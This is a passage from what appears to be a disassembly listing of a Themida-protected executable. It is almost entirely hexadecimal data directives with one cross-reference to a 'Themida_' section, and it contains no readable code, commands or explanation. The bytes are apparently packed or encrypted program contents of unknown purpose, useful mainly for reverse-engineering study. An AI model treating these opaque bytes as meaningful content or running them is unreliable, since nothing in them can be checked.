5A4B0161h, 2D5828C4h, 5AC40644h, 2FDDFDAEh dd 0DD601A52h, 0A0573485h, 482E6810h, 5660525Dh, 120783BEh dd 0F25243DBh, 0AC5F2E3Ah, 506C7725h, 790B2798h, 0FF28C851h dd 12088428h, 0C65AAD5Ah, 0EBB7DB4h, 473A68BDh, 636F3278h dd 0E910980Bh, 0FA617241h, 9C2C749Bh, 0ED663C20h, 13B11C02h dd 266AE914h, 9510C554h, 0E2005D26h, 665F152Ch, 0BA5F4A3Dh dd 0FE4F858Ah, 75BFA974h, 0F604230h, 0B184BF6Bh, 4453EA91h dd 6D8DED0Ah, 5E1F8A02h, 0F08B7D50h, 0BA0805Eh, 84145B58h dd 0AA179280h, 0C851888Ch, 0BA01D6CAh, 48E45B82h, 8216F160h dd 0F4BC5257h, 0DD8555B3h, 6AF4A720h, 167236FEh, 3AC1D7Dh dd 63B65266h, 0F40DC6D1h, 0C00F0EF6h, 39FE06E6h, 0EEF8E516h dd 0EC70E1C5h, 4E42BF5Ah, 125DD257h, 5D93BDE9h, 5BDE8B6Fh dd 4468B3B0h, 0E8C26CB7h, 53E1880Eh, 374933F0h, 93E73FC9h dd 4B4FAB9Ah, 2B8ACBD3h, 2D80759Eh, 66212CF6h, 568530Ah dd 1A88DF51h, 0BA093D71h, 0B592AE4Bh, 0FAFDBEDDh, 60309E0Ch dd 374A19DCh, 0C9ACC4C9h, 0A0CD4950h, 381CDA88h, 0F8C6830Fh dd 9AA20ABAh, 27CB7688h, 3080C230h, 24F40610h, 6D1D8EB7h dd 4F106EBh, 1243C3FCh, 1F053A1Eh, 4C5249B9h, 8B860F5h dd 40BD25Bh, 127DD6B7h, 38597209h, 0BA5295h, 16AC56DCh dd 3EAF281h, 0E97D0E06h, 0FED8A3Dh, 825009F6h, 0F2F53165h dd 0EE0185C5h, 30378DEBh, 0B64026BFh, 0A64895BBh, 3EEBD829h dd 65119C80h, 53623773h, 41171080h, 0D5A08978h, 0A7A6B22Fh dd 0D8671EF0h, 0E51F404Ah, 0F2BAF0D4h, 149102E8h, 6D5F38F3h dd 8B3A267Eh, 6DDDE0D3h, 0B519A8C2h, 0CB787A89h, 40388F24h dd 7C3BF2CDh, 0E10BF7E5h, 14124C68h, 7B6C2581h, 8118C551h dd 14637634h, 0B25E7393h, 5590740h, 19E9F231h, 0AF77FFB7h dd 31DB0B2h, 7EBBFC30h, 0DFD21954h, 97B8CB5Ah, 0B2D85AC5h dd 10AB483Bh, 355AF873h, 2745BA2Ah, 3DB6A124h, 0E1685605h dd 5882985Ch, 797C2F07h, 7750CA81h, 2DE966E0h, 0DFDB15ECh dd 9079E9C1h, 0E072FA2Bh, 16570983h, 49E919C5h, 4177D1B2h dd 37ACAFEh, 53F2EF59h, 0D8D28Ch, 0ECC0D4F6h, 0C1CC8005h dd 0D8EDD9E7h, 0E92D60C4h, 177820Bh, 3334C0D8h, 98258499h dd 5AF2D490h, 39E97654h, 7628C5F4h, 59CB0902h, 2540EBD1h dd 0EC2D78E6h, 5EBA555Bh, 26757380h, 0E8B70E10h, 0C3B7A73h dd 0D301BD56h, 0B480B0A4h, 0E2302EDEh, 26801D29h, 9D011565h dd 5ED04E70h, 6135C830h, 3016B412h, 0D72D4D1Ch, 0AC278A96h dd 20A3E676h, 495E51C9h, 447764C0h, 960CC05Ch, 1797AF4h dd 7092D8DFh, 53C9B3E8h, 63A2DE00h, 36BE0990h, 0B3A4680Fh dd 771C69A3h, 136D364h, 0B80F3F7Ah, 95902F7Bh, 2C1716F3h dd 163EBBE3h, 663449D8h, 0BEC8A05Eh, 8ECCD752h, 77EA8B2Eh dd 0DDD10189h, 0A233D466h, 58083877h, 104BCC0h, 23E2E68h dd 0C9A6C2E9h, 0E5C9FC11h, 243C37E5h, 4E8CCC4Ah, 0F69507FCh dd 9C72AD53h dd 10D2501h, 0F7054528h, 0B5FA8160h, 76E9BFE0h, 5E92BA5Eh dd 1884D7BEh, 0E4B6BC5Bh, 0CA585FD1h, 2603BD64h, 380474Bh dd 0F7315AD7h, 85FBFFAh, 0EA2EDA0Eh, 2FF1E959h, 738A3Fh dd 60F86BF1h, 265B4EBBh, 100C2762h, 0D680A30h, 57898547h dd 0A51E79A3h, 0B1856877h, 11733223h, 7377A738h, 2D680E4Dh dd 84A9ADF6h, 0CAFB2701h, 206926Fh, 228B9FC1h, 0CE2714A5h dd 726E5CC9h, 69E7F157h, 5DF29784h, 0C867F503h, 9D0C044Fh dd 0C036CD56h, 7E7C714Eh, 0F1E9180Bh, 6F0AF46Ch, 13B35B26h dd 18BE2848h, 0EB51AAF6h, 16107714h, 10FB2977h, 8A4E0815h dd 0FD051DC0h, 0E9564581h, 0D9925B74h, 0CA33AA36h, 81A2CB57h dd 8020589Bh, 4DD803CFh, 0CCE97821h, 38B2BBC4h, 0BC20E748h dd 9AF80127h, 66C57D74h, 0F945E985h, 6AA1E2BCh, 0ADBA04EDh dd 0C0A893B7h, 0EFE2E90Ch, 35005D1Eh, 3C456F5Eh, 9758C731h dd 0F89FAAD8h, 6E00194h, 64E97B38h, 9FDB821Ch, 7D134065h dd 4F60E4D9h, 9035223Bh, 66E50FFBh, 0E7815A6Fh, 0FA935F65h dd 0C6E3D18Eh, 0C394616Ch, 0CBE9C924h, 0B085434Eh, 0F77C0987h dd 0CBA1DC27h, 45E9F4E3h, 10EF2A35h, 5A0408B2h, 0AD1E3A68h dd 80E9A023h, 0B96DBE0Ch, 4B7A805Ch, 387CF108h, 0B32D0D7Bh dd 0FB2B1017h, 0FC316976h, 95659F7Fh, 9799FA2Dh, 0D16B9DFBh dd 0C47E4B4Eh, 3AD16885h, 0E92D2CEBh, 23090F4Fh, 0A18BDD58h dd 553BBAD7h, 0EB8914D1h, 0A43B79D1h, 0F54142FBh, 68E1EAF6h dd 57C21A9Bh, 5CC5F271h, 7618A4AEh, 9159F140h, 0E55569CDh dd 34CFACEFh, 0DA37A829h, 3CBA7F0Ch, 90C5B55h, 0EA7DE63Eh dd 8217C22h, 1526A79Dh, 0D9AD6B0Bh, 2C3FE2F6h, 1FCF609h dd 0B705D425h, 68118575h, 0AC457837h, 2B8D4067h, 0C833B941h dd 0F300D532h, 47CC111Dh, 0DF7F2958h, 0D195BEE2h, 0BCA66F1Eh dd 2800751Dh, 8118F706h, 3B6F8420h, 3B700BD0h, 332E7F21h dd 47C70B38h, 0C5825593h, 0E830EEC0h, 960C8B27h, 41EE98E4h dd 596822Dh, 0F8B866B5h, 0BB530FCFh, 0F217339h, 2A611D68h dd 471B5B30h, 26786065h, 998519Eh, 81FEE925h, 0C0835EFFh dd 581E8B3Fh, 848EC4BAh, 4F4335E4h, 0F822C96Ah, 48C2C3AAh dd 4C6DD768h, 163B005Eh, 8C3513C5h, 1227DC19h, 8DB5931h dd 18859E05h, 17EAC94Ah, 4090BBA0h, 97FA36B1h, 0A827805Dh dd 2F28ED48h, 7E704E5Eh, 36E41097h, 30A0248Eh, 545018CAh dd 0A2127CBBh, 30C4AFADh, 0D082C8C5h, 0EF88027Bh, 5A588B7Eh dd 0E8514E66h, 90EE961Ch, 0F23FD602h, 75DF6817h, 0EA783FB3h dd 6903B1FDh, 0A1A2A0C8h, 28254BBAh, 4018F7D8h, 466E5B2h dd 7678D0B0h, 0E7F2B5B5h, 0C6975AF0h, 3F68F452h, 0D75C5D61h dd 0E36CE884h, 62DF2D7Bh, 5CF657D0h, 0BC899FCEh, 60107CC5h dd 48E842EEh, 1473E0D6h, 0E91B12F3h, 5EA9C221h, 3E06E460h dd 0EFBA8A7Fh, 54D409Dh, 0E74B1EF2h, 2DE80A7Ah, 0EE793407h dd 0E316512Ch, 5165323Bh, 801BF155h, 5D990AB4h, 2E5B34E9h dd 878539F3h, 0C04EA814h, 3EF6B9Fh, 62A7A2C1h, 950CF20Ch dd 6E0060D8h, 0BF5B3C20h, 2F7B49E1h, 0CC763138h, 0E4480959h dd 88D325E9h, 3B275EC6h, 0D61A87BEh, 0EEEAF2h, 5259CC88h dd 2E8EB63Bh, 0E5011CF5h, 40C38058h, 0E13DEBCCh, 831075CFh dd 51F0E9D8h, 0E2C22EB7h, 0FE4E0Bh, 748B3C90h, 0F29A82B7h dd 89EC55B8h, 0BE84B282h, 66B691DAh, 0C4883837h, 62940FD2h dd 46F90BFh, 171CED80h, 888B5253h, 480E75EBh, 965AD3A6h dd 0E9DDC4C2h, 8774D4A7h, 0E40CCCC6h, 48908E11h, 0BF6584E8h dd 0BAED8304h, 0B4F5EFA8h, 3A130E33h, 23090ABBh, 304166B4h dd 0BA78B3CCh, 662821ABh, 391E8B27h, 82250129h, 0F58BDC81h dd 6C381918h, 0B965882h, 648C080Eh, 5F50985h, 0D21AE907h dd 0B5615883h, 0F709C221h, 0D9F79D02h, 59108560h, 4D2024B2h dd 0E07BDB3h, 0AA692468h, 705DCA98h, 32FC951Eh, 2A7F46Fh dd 43576205h, 16627534h, 0E95A0700h, 0C2E1A86Eh, 20D22AFCh dd 90D4EB91h, 535D3B19h, 0AC0F7F82h, 0D0765B47h, 642E300h dd 9C1221Fh, 0E4E905EBh, 9FC0C142h, 6A2FF9CFh, 57B7EA2h dd 611EDDh, 485FF8A1h, 0E476C92Dh, 58492CF7h, 96C5E43Dh dd 0F3F2D0AAh, 412E52FBh, 1125B63h, 0BAF0ADBCh, 3D167DA8h dd 0EFB421Eh, 957C4696h, 0BD16DBE7h, 0E50EEC33h, 229A90ABh dd 4D5C2028h, 6C0878EEh, 1236Bh, 19D3BE56h, 499030AAh dd 3B7DA35Ch, 5ECE020Ah, 60692973h, 130D1F4Ah, 0EE3176CDh dd 5C25C409h, 0C75B2D96h, 93A7E84Bh, 4CF58261h, 0FB685FE5h dd 42E9E304h, 8F27C3A1h, 7D0AA907h, 2BE9E007h, 372CB843h dd 0FE2D3B83h, 2F5A40F5h, 0EAED1ECFh, 7BE0A09Bh, 5304F641h dd 4559CD89h, 407BF2EBh, 5CB260C1h, 37F9D61Fh, 25DD0148h dd 68AF307Dh, 0BC654A34h, 6098F601h, 30BF5475h, 0F5A310Bh dd 0B440D7BCh, 9047E11h, 9AFCE92Eh, 0C3F6CE6Eh, 912B4241h dd 3E7C46F7h, 0D048D5CBh, 0DDEE4C5Eh, 0A3127DCAh, 93F88C98h dd 23B95101h, 3B63701Dh, 6CFC991h, 0DAFC42A5h, 23A90E47h dd 0E1C6E73Bh, 0D1DB79D5h, 5D93EA0h, 12580270h, 43182014h dd 93A8E968h, 98D1FD3Bh, 0C643B439h, 0AFC81E08h, 0F106DFE1h dd 97F80916h, 13A3D50Eh, 50A93010h, 819C137Ch, 4E2C5907h dd 0B2807CE2h, 0CE5CFBh, 0B179C4B8h, 9F092557h, 0F72AB061h dd 0D1039310h, 3B0B61E7h, 26E9E617h, 25902E9Dh, 0FC7E73E2h dd 7BEA6805h, 853C0CE3h, 0FC4C3918h, 3A040609h, 2FACE944h dd 0B8C224BEh, 769C0196h, 98BD35A3h, 0E05E0BAFh, 79612209h dd 59548918h, 61E955B1h, 64242B18h, 2CC9B4FAh, 0A16B7141h dd 0E83840F0h, 3E5AFA68h, 0E050D31h, 0AE921722h, 5BDF1ECDh dd 0E828ECE5h, 78B225BBh, 60CB3FC0h, 44C41B17h, 0E2B1E3ECh dd 0EE7A6477h, 6B3DF39Dh, 0E587B7Ch, 83C082BFh, 3FC98A56h dd 4D8104EFh, 334BC347h, 0D0B7C878h, 1388356Dh, 20CF7695h dd 7AFB9F08h, 33506E0Bh, 5E1FF2BFh, 0A60A6ED0h, 36B6A6FAh dd 73B788C4h, 5586290h, 72ECDC56h, 270B71BEh, 2EDC7772h dd 0FE310D31h, 56165772h, 5004F27Ch, 59139CBEh, 0E9F875C7h dd 41881869h, 0A522300Bh, 0E5902967h, 71C6F920h, 0FD68135Eh dd 0C4AACC6Ah, 9BDB140h, 4C2CA66Fh, 0D104185Eh, 0FD804DEDh dd 5B447591h, 21298D64h, 77E360B3h, 9637585Eh, 0A616D92h dd 0B1CA0B8Ch, 0A022E745h, 588FFD4Dh, 56F92E9Bh, 9930FB3Eh dd 0E7C11679h, 76109806h, 683A2F82h, 16B7F250h, 76284859h dd 0EA6FB684h, 9450F6F7h, 0AC560270h, 6007E908h, 72A4B800h dd 247C4A1Ah, 6A4086A8h, 730936A4h, 51AA15Dh, 0CDBFCBEAh dd 0D2616B6Fh, 0C5545EF1h, 166AA3BEh, 74CA56E6h, 44E15A7Ch dd 4C4E021Bh, 3192AB34h, 868A7719h, 4CF3106Dh, 0F2D7581Bh dd 0B2D5D927h, 0E94402F8h, 1504DFB5h, 0B0F2BA54h, 238BAED2h dd 9458D852h, 0F3CA7F3Bh, 0BE0FB061h, 7170B7C8h, 2D9CF034h dd 49EFA856h, 6C0050B2h, 5ADF1999h, 4014F89Fh, 0BB9E0829h dd 27957C9h, 510919A0h, 0B0746968h, 82961B19h, 7267C400h dd 81023AAAh, 0A6631FE6h, 2CECDC35h, 29F20328h, 0F6F82E78h dd 3A301F16h, 8D24CE50h, 0BE2EF7BCh, 0C0EA3D05h, 0C5F72393h dd 5DFBD509h, 0E90540F3h, 0DCBFD350h, 654E01DAh, 3B272DF6h dd 0F0E935C3h, 64493F2Dh dd 0BC6EFA05h, 638289D4h, 6320B5ABh, 43B95551h, 7207FB4h dd 9D46E697h, 0A1698ED6h, 18E9571Dh, 0B313057Fh, 140CB6D6h dd 8095A9FAh, 143049EEh, 80DE4EF7h, 4A534B2Dh, 0D8AFE919h dd 43FDBB26h, 9F7DF20h, 1EB83DBh, 4E018657h, 6E042551h dd 6A8A11FFh, 0B59EF46Bh, 2ECDD051h, 31B78F02h, 7DD0C030h dd 0E28180F7h, 5766EA12h, 12C2E805h, 0BDCF0FE8h, 865C4A65h dd 0E918E4EEh, 0AC388426h, 8FB20452h, 0AC08E2C0h, 54CB13DEh dd 1F06337h, 0B59723E9h, 5283FE67h, 2D654E9h, 4C0CED89h dd 71680689h, 330162D1h, 0E9E831B9h, 2981C9DAh, 554DDEC1h dd 612F6001h, 81791B58h, 51EA2FCEh, 997CE87Fh, 6464A622h dd 0F37197C4h, 2C06D8AFh, 623014F7h, 5306BF99h, 84B95B9Ch dd 40F3AFB7h, 0FAE05525h, 0D9BD2158h, 906861A7h, 0D2DA2857h dd 31C8C1BEh, 41C26D7h, 98E9FE29h, 69AF3CD5h, 0DF763F01h dd 2768F8D1h, 0B8744B28h, 0D3E2287Ah, 8088150Bh, 0E9C8FE34h dd 88E65470h, 5F71469Bh, 0A9BB37FBh, 0DABA24ECh, 45B92C40h dd 8417F951h, 78E4C7C1h, 12BBA585h, 6761BC49h, 0CAF00506h dd 48E86562h, 2D387B64h, 0AA4B9212h, 167EED90h, 0C0A60C6h dd 0DA191406h, 4E41F9B0h, 1EEEBF40h, 60AB2664h, 222A0522h dd 8AFD47EAh, 0C5A9651h, 0EF421D05h, 0D0EA4E6Fh, 0CF716890h dd 4CF2C25Ah, 4F211048h, 2A89539Fh, 0BF947FA5h, 333C5D95h dd 10358081h, 3B1C52CAh, 0F2005EA0h, 2CE08E53h, 13138F05h dd 55842039h, 46060713h, 98878067h, 5112041h, 28575897h dd 4839012Dh, 9A10A6E8h, 7BB95B14h, 54721C74h, 0B458BB1Bh dd 70DC1A02h, 0B077CE31h, 61F7DE03h, 2CE908D3h, 13C429BFh dd 4E2DFEEh, 68925638h, 0E95E60D1h, 2A9F21CEh, 0B08F2A2h dd 0CEB6606Fh, 74BD62B3h, 0AEE98C75h, 0C49F58D5h, 0DFA68AEFh dd 33988F10h, 817F5506h, 2D0D94EBh, 994828E9h, 0A31E60F2h dd 0C5C8CA3Bh, 5498203Ch, 0BF5881F4h, 89270F5Ch, 0BE715DBFh dd 1C6B7A43h, 98F0881Ch, 63688501h, 0B2E92C4Fh, 599D0CB6h dd 0F0E02DDAh, 6880121Ch, 0B3495FD9h, 78751AFBh, 0FF625D1Bh dd 25A45B5Dh, 0ADBB315Dh, 4BC65828h, 0C179F39Bh, 626B1113h dd 66C18FAh, 8B4F6FE9h, 4075D58Ch, 49076889h, 5B8DEC5Ch dd 5D3635B2h, 787C5720h, 409F194Ah, 2F7E012Ch, 0ACC30FFBh dd 0E38D1209h, 556B0BB7h, 6703C9C0h, 84277E33h, 3BBCC12Eh dd 6FA4A16Eh, 9CD16FC3h, 54AFCC3h, 0C0B8B264h, 0FABC94EAh dd 2951FAB2h, 0E83A6AF5h, 1434A26Fh, 0E934C642h, 526992DEh dd 0ADBFF57Bh, 62898BCFh, 0D9807FB9h, 8330013Eh, 2BF3C274h dd 0DA2740E9h, 0B21B10F5h, 0C16FC014h, 6C32276Bh, 0FCFAA490h dd 0D747C9B5h, 0BC2AEAC9h, 0E3119B97h, 19EFC881h, 20FCB8F1h dd 293077B9h, 235EBEC6h, 58262692h, 148D0258h, 5AFE2ABAh dd 4E0789BDh, 0B1C46018h, 0A1145FECh, 5AAA30B0h, 485E307Ah dd 0F54AB4ECh, 0CE0B0570h, 2C11713h, 0C9321E2h, 0C7234659h dd 41D00609h, 1291FC80h, 0EE50C53Fh, 9D13CF9Eh, 0D638EE4Eh dd 41AF638Eh, 0B80759CAh, 465B1B65h, 0AD4015E5h, 855C53BBh dd 0BA3EF479h, 0BE295B0Dh, 4FC0E57h, 40780412h, 3CFAF173h dd 93F67B1Eh, 53393AE9h, 493E7521h, 8B5DE4BCh, 908478BEh dd 2BC402C4h, 0F5293880h, 80114E2h, 758294E9h, 69769E83h dd 13BD54B0h, 0ECB2178Dh, 2565FF31h, 2718C82h, 0AB7DBF57h dd 0B963FD38h, 6278B7FAh, 5C50998Ch, 0A64E731Eh, 0D19009D7h dd 98891346h, 0FBEF30CEh, 2FF0F7F1h, 0D2F17B25h, 12054A1Dh dd 6B65EBE6h, 0AA54E304h, 0D909EE12h, 0E76DA962h, 0CC0F0DA5h dd 0EADDDA1Fh, 6BDAD9DFh, 2FE5C455h, 89D1204Ch, 0F133AC42h dd 9B18890Eh, 0D397B4FEh, 0BA2666A8h, 5C5D52B2h, 61F950BBh dd 9878989Dh, 0FAE1C94Dh, 29DE400Bh, 3C1C1BA5h, 0EA8450A0h dd 0A919AB42h, 31D11052h, 21135D3Bh, 17CBEAA2h, 0BAEB314Ah dd 16A804B3h, 1CBC9510h, 6885EB80h, 39455A15h, 0F0C1A4B5h dd 976C39F0h, 91D8099Eh, 50CC9EDFh, 2FE93750h, 0EF516AC6h dd 9E7A9B87h, 0BD19786Ch, 80B590C6h, 5908A916h, 280CC158h dd 2F536D21h, 0E9540620h, 0B2BBEAFh, 1C1CCF01h, 2EA6204Bh dd 7AB2680Ch, 854731Dh, 0A29720E6h, 76589CE3h, 91C16F15h dd 2B5ED223h, 13A85FA0h, 1278D92Dh, 0E525055Eh, 8FAAC020h dd 4D09471Eh, 0F7718AE9h, 3FC13EE9h, 2CFB7F94h, 6482CDDh dd 0FA6AA62Dh, 8C9A5B45h, 7338EFCFh, 0EA86EF0Fh, 0EEAAB897h dd 9A04EC90h, 0EA819FD2h, 0C505AFBh, 325C2D7Dh, 94F8C954h dd 64BC5002h, 0DE6BF287h, 0F7F0AAA5h, 3E23FCE2h, 83DA347Ch dd 918454C3h, 80F6EE54h, 1102D44h, 5029071Dh, 338BF0h dd 8150137Ch, 744580E6h, 30C5E60h, 9F082C4Eh, 0D42587D1h dd 382EB4h, 39A06910h, 6812CE01h, 46F80359h, 24F015CAh dd 5D050848h, 9753BC39h, 0BFE97A2Bh, 0E357A202h, 71C2897Dh dd 0EF24E971h, 0B18C1513h, 8A955ED6h, 0E2D4DC6Ah, 41AB5B97h dd 0B7279FBEh, 0A0A96E28h, 8225583Bh, 620B8EA2h, 25BA475Fh dd 0E95A147Ch, 0F26F667Fh, 0E0C23B30h, 47DEF29Dh, 0AC6C4A2Ah dd 9CFE4B26h, 0E9135737h, 2EDADF1h, 0FB4E5B58h, 0C094CD68h dd 0B5515A5Dh, 0DD00F657h, 0B753CDFEh, 0BFFD28D4h, 0E9E2C171h dd 5CCCE96Eh, 0D302642Ah, 5B4F6780h, 0C5CDECB1h, 0B704A7E8h dd 24F618EEh, 7F2AE469h, 0BCD17184h, 545FA2C4h, 15485BDFh dd 86691352h, 0EF7261BFh, 9C397F3Eh, 0D64C452Fh, 0B331572Dh dd 0F95F79B0h, 598C7AF8h, 554A5D69h, 4B812AEEh, 0CA8E3DE9h dd 0CE77AAF3h, 74A0B2h, 5FF4DD2Dh, 0FF31352Dh, 8BA37A10h dd 0E13DD4B5h, 0CA685257h, 24A72363h, 3BF1E19Fh, 5D42DA3h dd 803A8335h, 2A2C68FFh, 5B361C17h, 56CC09FEh, 0B718445Fh dd 0DE29F6E0h, 8FF0874Ah, 48861CEBh, 0F0531D73h, 663714DEh dd 0A120D890h, 0FE5F83Ch, 63857CBFh, 0A5ACFE65h, 0A094DF05h dd 0D81328E1h, 6D1E604h, 680071B2h, 539521F8h, 6D6841A8h dd 51DDC25Dh, 73A7C2C0h, 29717C6h, 55DED0DEh, 918BF6E7h dd 5BB0FE5Ch, 81B1E4E9h, 3052C237h, 0C9C28A1h, 0AD7B4963h dd 0E32710D6h, 6122090Ch, 0F281465Eh, 0E607792Ah, 0C71448F7h dd 67BAB5D3h, 2D812DF1h, 30857E2Ah, 13FF12Ah, 8B875A07h dd 7FD9EC8Dh, 4295226Ch, 0C66E5571h, 74C8312Fh, 30C07A7Ah dd 5391435Eh, 0C4370D03h, 42CD8A01h, 2FD2FC1Fh, 221C327Dh dd 90741D0h, 0E357DB57h, 122AAEC1h, 370BDE53h, 0C8673D10h dd 807382E5h, 0F15B0158h, 0EBD2BEA2h, 66AC8F57h, 98C5E90Ch dd 0EA48D19Ah, 0AF9D7171h, 0B1C4DC5Ch, 0C0BB6FEBh, 43226840h dd 0FC0B989Dh, 28FB3E26h, 604B7396h, 0AF13FA16h, 34E83E5Fh dd 294A5581h, 5434607Ch, 0F1090DDEh, 41007D5Eh, 0E9E3DBB7h dd 68975FFAh, 17873B8h, 82B8536Ah, 6096F998h, 814FE970h dd 315D4D81h, 0F7170B2Bh, 0ABFDDC6Bh, 0DD1632E2h, 5E35A263h dd 0D2640FEAh, 0F468C73h, 0F250A55Fh, 14E95A8Eh, 1744D1C4h dd 974B1044h, 0A02DFA10h, 0B9014209h, 6A0C8BCBh, 0E9C2ABA7h dd 0A5207FDh, 2DF42A20h, 0B374E889h, 48B9803Dh, 1325A0Ah dd 6805B1D9h, 13F505CEh, 0EAF209ECh, 829CA95Dh, 7FB048CEh dd 81D83099h, 1B2D4004h, 89C85C3Ch, 565824C2h, 0E5E90EB2h dd 0EEC080F8h, 0BD800439h dd 1BD593F7h, 9825F9FDh, 559DB1D8h, 6B900C1Eh, 0FEF5B495h dd 8190968h, 0E8D76292h, 1EF8B9F8h, 9318910Bh, 39C4B978h dd 16C825D9h, 30FA301Ch, 209EC161h, 0A50D6C3Dh, 770F2B60h dd 0BED72284h, 338F5DB3h, 82513752h, 16FF7BDBh, 0B5039281h dd 96653279h, 6C099556h, 0C81AFF50h, 0A734CD57h, 822528FBh dd 5B6B4C48h, 1A75A59Dh, 3D152B1h, 5172EF80h, 0F1B019B1h dd 0CF1208C9h, 42E0F3E9h, 0F047715Fh, 9B264813h, 0FD035380h dd 0CA984E67h, 2FCB200h, 0E9F30198h, 5180B708h, 0F7300AB6h dd 885A6617h, 200E82FEh, 0ECA363F5h, 3FD6B5EEh, 0BB4A6EA3h dd 2EDA2B45h, 3AE7C740h, 0EC313605h, 6E9C13EFh, 0CDBFE035h dd 2793D609h, 3318C021h, 0F305803Dh, 5D6C5C02h, 5E5930FFh dd 648252F1h, 0D00B9BBAh, 4EF9F14Bh, 0ACA5886Bh, 18BB8C40h dd 8A605CB4h, 550E82CBh, 0CCE94C63h, 0B8432034h, 7699047Dh dd 0FF312193h, 92C5A300h, 0A0348337h, 3E7B3298h, 0E6027D4Ch dd 786042E7h, 86EE9E80h, 775BC604h, 608323E4h, 0DDEDF789h dd 164B342Ch, 32845EBDh, 0C2661887h, 590D2C80h, 73520953h dd 4E6E4ED5h, 1E4AEF2Ah, 11EBB95h, 47E464D7h, 0C58591CBh dd 7B6E8F0h, 0DC3049B3h, 58F03C94h, 2C5202B8h, 0E8C11979h dd 20BA93C0h, 298A6F18h, 0C1B4890h, 0EA833CEEh, 0CE01F276h dd 0E96CAE0Dh, 0B83B6A2Eh, 0CACFC4A0h, 44856800h, 30F414A7h dd 0A68B7958h, 664C18BEh, 0BDF1AA1Ah, 459FCA02h, 0D55EEE68h dd 4DBABB1Bh, 128A5E29h, 0F1290DCEh, 829404EAh, 0A7D58B37h dd 8D74D7B4h, 0F5683ED1h, 1C3E617Ah, 87288BD8h, 0E98AD0CAh dd 0C4205FECh, 0B4418E31h, 99453EAh, 2A6851E0h, 0BC8DB16Bh dd 0C1D8CC2Dh, 71525825h, 0F74F62D3h, 69095D73h, 10B17F3Fh dd 4EAE2A13h, 79E4FE8Fh, 104AB6Ch, 9110AE7Eh, 0FD4F950Fh dd 0CCD2688Fh, 42138FB2h, 3C715938h, 0A8055E6h, 0C09FCB80h dd 0F3EC03EBh, 0DE08E80Bh, 3103D55Bh, 0F6D902E6h, 5AF0C3BDh dd 0AD98C328h, 0BF50F095h, 554245Eh, 5768EA29h, 1E7B2110h dd 2FF5298Ah, 7908DE1Ch, 87887E02h, 72BC65D7h, 0D0E81E40h dd 0E0680BF5h, 0C01FB21Bh, 0B54A4B7Ch, 0A88E4EA5h, 33BE0275h dd 42533127h, 0FC90FDBBh, 162E6787h, 142D1B01h, 0E1B9A0C4h dd 0E61912A4h, 0F4A0077h, 92274F4h, 0B2252BFh, 7B7F1DADh dd 3D053981h db 0A0h, 0FEh word_4A3AF6 dw 84EAh ; DATA XREF: Themida_:004F9134o dd 0D838A6D0h, 0E3A85B52h, 0F94B3AB9h, 970146D9h, 912216F5h dd 42916F3h, 0E98E3FB9h, 75AE9242h, 0FFE78581h, 0E0250EE6h dd 0E7BEE200h, 0E8E1D727h, 9FDD373Dh, 0A8EF3A82h, 2D145E85h dd 64E9205Eh, 0AAC12EA5h, 68666089h, 469446EFh, 52F6B781h dd 782070B6h, 0DD78AAA5h, 6FB9CD60h, 79A8E991h, 98BE0F20h dd 8ACA2F0Bh, 16BD5A5Ah, 0B7E5E62Eh, 93806E9Ah, 559F4CD7h dd 49D9F714h, 63BB0BE2h, 800204ECh, 0BF49B8BCh, 7C172A10h dd 185EF235h, 4D1880BFh, 485B0F1Fh, 12BBB625h, 86C6ACC3h dd 8299F888h, 0FEDBC1ACh, 5A2D3068h, 0F2DF8355h, 3C17A8BBh dd 0E9D30931h, 8B10AD6Dh, 681C2D5Dh, 5C16C49h, 4DF03E69h dd 782102Ah, 1206F441h, 995A711Ah, 6326C223h, 7167E4A1h dd 2D14013Ah, 554DF510h, 0D84C6A25h, 5C3F0096h, 2E4BB8EAh dd 2D4ACB40h, 428AB2E8h, 0BD5B9DBDh, 0C0D19334h, 0D9F5CB6Fh dd 0BF4AF297h, 0A739B2D1h, 669E4821h, 0F3BF8053h, 3FFBFC05h dd 0D481FD31h, 0C86E98D5h, 90400C5Ch, 772D02BDh, 0EA311DC1h dd 0DC52D1D6h, 0C052C4BDh, 59611D25h, 0C0BE5A02h, 0D085AE86h dd 0B8019F37h, 232C5868h, 0C65B2585h, 0EB810229h, 69DA31B3h dd 0B867157h, 6424AE9h, 0E22F71DDh, 987F9CF2h, 162DEDB7h dd 1F1B994Fh, 6D408CF8h, 0B77EC662h, 5CFF5F4Ah, 4B93C1CBh dd 0A5290333h, 0C0E0633Ch, 9FF29CF1h, 0E2715FE8h, 0C9CBF69Fh dd 279DD05Dh, 1A95639h, 0E1914B75h, 8B3F98AEh, 0B4724B53h dd 5AFFDDh, 5CC18839h, 9A8BE503h, 0ACEB5E7Dh, 41D2133Fh dd 4E7B02E7h, 0EA0D12D1h, 27518FB4h, 7E59B5h, 3D77C308h dd 64F7BB8Fh, 245C29E1h, 12FC3202h, 324910E9h, 834E7D33h dd 2A6040FEh, 3E1C00Ah, 80C909FEh, 0E557EC1h, 0BE072E8h dd 0AD8D9E0h, 2CFE2E5Dh, 565A68C6h, 69AAB316h, 1A2339A0h dd 4147CE97h, 447A9810h, 420D0A23h, 7754242Ch, 0BF7F1930h dd 0ACC5C8B7h, 776B9FA3h, 0FDC425EBh, 78874B83h, 0AC6B6509h dd 624E8267h, 3DC030C5h, 200B54EBh, 2436A4Dh, 9C4127Bh dd 0FDE6EE77h, 0C821CC9h, 53846855h, 3839C71h, 1A25DA0Ah dd 45FB159Ch, 0CBDCE17Fh, 0A9DD55A7h, 0CFFF9E3h, 0C1A9757Bh dd 510E440Fh, 25BA6B12h, 0FEE22DDEh, 17CDA297h, 89B022E9h dd 3D4C17B9h, 0A0A50605h, 0AD785CDDh, 8C6F2102h, 42D80169h dd 550800A1h, 2612DCBDh, 0B9365953h, 2085F0A6h, 0A68B70Bh dd 13B48FB5h, 0F22AEB82h, 2DE55633h, 17E889C0h, 0EBE9B0BFh dd 0E37FE189h, 825489A8h, 0FC211F1Fh, 29A77074h, 9515CE95h dd 0A9087A5Bh, 0B6311B7Eh, 0E453C2DAh, 54626E09h, 7ECA4D93h dd 0F03F4FFCh, 21852E93h, 630FBDh, 5CADBB53h, 0F9408637h dd 0D5501213h, 0FE0E010Ah, 9756FC3Ah, 4EE43778h, 0CC795B70h dd 0DE5CED4Ch, 0F510DAD6h, 11C4D1F0h, 916C90Ch, 308251EDh dd 85F7D2B7h, 57BC14E5h, 0C2DBE25Bh, 0FE1C4721h, 50E9C132h dd 13E2D5Bh, 0A7325952h, 29BCCB89h, 80612E7Bh, 533EC1D8h dd 19E9DBBEh, 81CE5088h, 5C4C7BEFh, 5FFE1E18h, 